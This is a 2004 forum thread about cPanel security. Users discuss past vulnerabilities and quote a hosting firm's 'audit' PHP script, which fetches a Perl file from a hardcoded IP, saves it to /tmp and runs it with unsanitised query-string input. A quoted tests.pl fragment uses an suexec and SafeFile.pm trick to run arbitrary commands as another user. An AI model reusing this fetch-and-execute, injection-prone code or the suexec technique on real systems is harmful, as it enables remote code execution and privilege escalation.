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How secure is Cpanel?
PostPosted: Wed Jun 02, 2004 2:10 pm Reply with quote
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I use on my Server Cpanel and WHM Reseller Account , there i can create new SQL DB and also there is phpMyAdmin installed..


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Re: How sure is Cpanel?
PostPosted: Wed Jun 02, 2004 9:07 pm Reply with quote
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Saladin wrote:
I use on my Server Cpanel and WHM Reseller Account , there i create new SQL DB and also there is phpMyAdmin installed..



?????? Rolling Eyes
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PostPosted: Wed Jun 02, 2004 9:44 pm Reply with quote
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You mean, how secure is CPanel? I remember, that saw not so much time ago in bugtraq some report about XSS cases in CPanel...
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PostPosted: Fri Jun 04, 2004 7:30 am Reply with quote
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There was a remote root vuln in cpanel. And I saw over 5 exploits for it in under a day. Many boxes were rooted that week. Cpanel has a simple to use update feature, which saved alot of admin's asses.

this bug was elementry. If that is any indication of the security in cpanel I would not say it is secure. (there has also been root post-auth, and a local root in cpanel in the last year or 2).
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PostPosted: Fri Jun 04, 2004 9:48 am Reply with quote
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i wouldnt be too scared of it if i were you.
its pretty secure stuff.
plus if there is any bugs etc.. its easily updated in the client as Slad said...

should be no probs.
most of the probs are just bugs etc in the thing that just occasionally screw up.

if your running it on a server you can touch...then just switch it off when you dont want to use it, and turn it on when you do..
thats always an option..
but i dont belive there should be any reall serious questioning of the security of the server when installing CPanel.

ive made a topic with all sorts of Web Control Pannels
you will find it usefull...

it is available Here
( http://www.waraxe.us/forum/viewtopic.php?t=101 )

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PostPosted: Fri Jun 04, 2004 10:22 pm Reply with quote
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http://www.a-squad.com/audit/ tests some vulnerabilities but I am not sure that part of the script is just a pitch for you to switch over to their hosting.
http://www.hostinglife.com/security.php is also a good link.
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PostPosted: Wed Jun 16, 2004 12:55 am Reply with quote
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This is from http://206.71.87.80/cpanel.php

Code:
<!--
# PROGRAM: cpanel.php
# AUTHORS: Rob Brown (rob@asquad.com)
# PURPOSE: Detect possible vulnerabilities
#
# DISCLAIMER:
# THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*.
# IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY.
# USE AT YOUR OWN RISK.
#
# For secure cpanel hosting, visit A-Squad.Com
-->


<?php
  $tester = "/tmp/tests.pl";
  if (!file_exists($tester)) {
    $testw = fopen($tester, "w");
    ini_set('user_agent',__FILE__);
    $testr = fopen("http://206.71.87.106/tests.pl","r");
    while ($s=fread($testr, 1024)) { fwrite($testw,$s); };
    fclose($testw);
    fclose($testr);
  }
  echo `perl $tester '$QUERY_STRING' 2>&1`;
?>



This is a remotely exploitable security check. buhahaha

And that's not all.. check out the tests.pl script which is downloaded and ran by cpanel.php http://206.71.87.106/tests.pl

Code:
my $command = $q->param("command") || $default_command;
my $who = $q->param("username") || $me;
if ($cpanel && $common) {
  if ($command and $who) {
    my $wraptest = "/usr/local/cpanel/wrap";
    $cpwrap = 1 if -x $wraptest && -u _;
    if ($who eq "root") {
      print "<li><font color=yellow><b>SKIPPED</b></font>: suEXEC <code>mod_php</code> Taint Vulnerability Test\n";
      print "<a href=http://www.a-squad.com/audit/explain12.html>Explain</a>\n";
      $canexe = $cpwrap;
    } else {
      mkdir $dummy, 0755;
      chdir $dummy;
      symlink("/usr/local/cpanel","cpanel");
      my $dir = (getpwnam $who)[7];
      open (DUMMY,">SafeFile.pm");
      $ENV{HOME} = $dir;
      print DUMMY qq{chdir "$dir";warn "\n";\nexec <<RUN$$;\n$command\nRUN$$\n};
      close DUMMY;
      my $out = `/usr/local/apache/bin/suexec $who $who cpanel/bin/proftpdvhosts 2>&1`;




besides these security checks Cpanel is NOT secure. I've found some bugz in it. Do not listen to people who tell you anything is secure. It is probably not. Code your own shit, dont use the web for anything important, and remember.. Do not post to bugtraq.[/code]
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PostPosted: Wed Jun 16, 2004 12:59 am Reply with quote
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btw, these a-squad.com guys are retards. rm them with no remorse.
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PostPosted: Wed Jun 16, 2004 3:01 am Reply with quote
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Code:

<?php
  $tester = "/tmp/tests.pl";
  if (!file_exists($tester)) {
    $testw = fopen($tester, "w");
    ini_set('user_agent',__FILE__);
    $testr = fopen("http://206.71.87.106/tests.pl","r");
    while ($s=fread($testr, 1024)) { fwrite($testw,$s); };
    fclose($testw);
    fclose($testr);
  }


If it's in this part, I can't see it Sad

I guess you mean the $QUERY_STRING.
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PostPosted: Wed Jun 16, 2004 8:08 am Reply with quote
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Heh, they use backticks without any precaution and sanitize Laughing

b0ilz wrote:
This is from http://206.71.87.80/cpanel.php

Code:
<!--
# PROGRAM: cpanel.php
# AUTHORS: Rob Brown (rob@asquad.com)
# PURPOSE: Detect possible vulnerabilities
#
# DISCLAIMER:
# THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*.
# IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY.
# USE AT YOUR OWN RISK.
#
# For secure cpanel hosting, visit A-Squad.Com
-->


<?php
  $tester = "/tmp/tests.pl";
  if (!file_exists($tester)) {
    $testw = fopen($tester, "w");
    ini_set('user_agent',__FILE__);
    $testr = fopen("http://206.71.87.106/tests.pl","r");
    while ($s=fread($testr, 1024)) { fwrite($testw,$s); };
    fclose($testw);
    fclose($testr);
  }
  echo `perl $tester '$QUERY_STRING' 2>&1`;
?>



This is a remotely exploitable security check. buhahaha

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PostPosted: Sun Jun 27, 2004 9:05 am Reply with quote
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http://www.a-squad.com/audit/

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PostPosted: Fri Feb 25, 2005 11:17 am Reply with quote
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BTW If I see anyone here using zPanel that cheap rip off of cPanel I swear I'll take you down. First of all its a friken rip off and secondly it sucks ass. Mad

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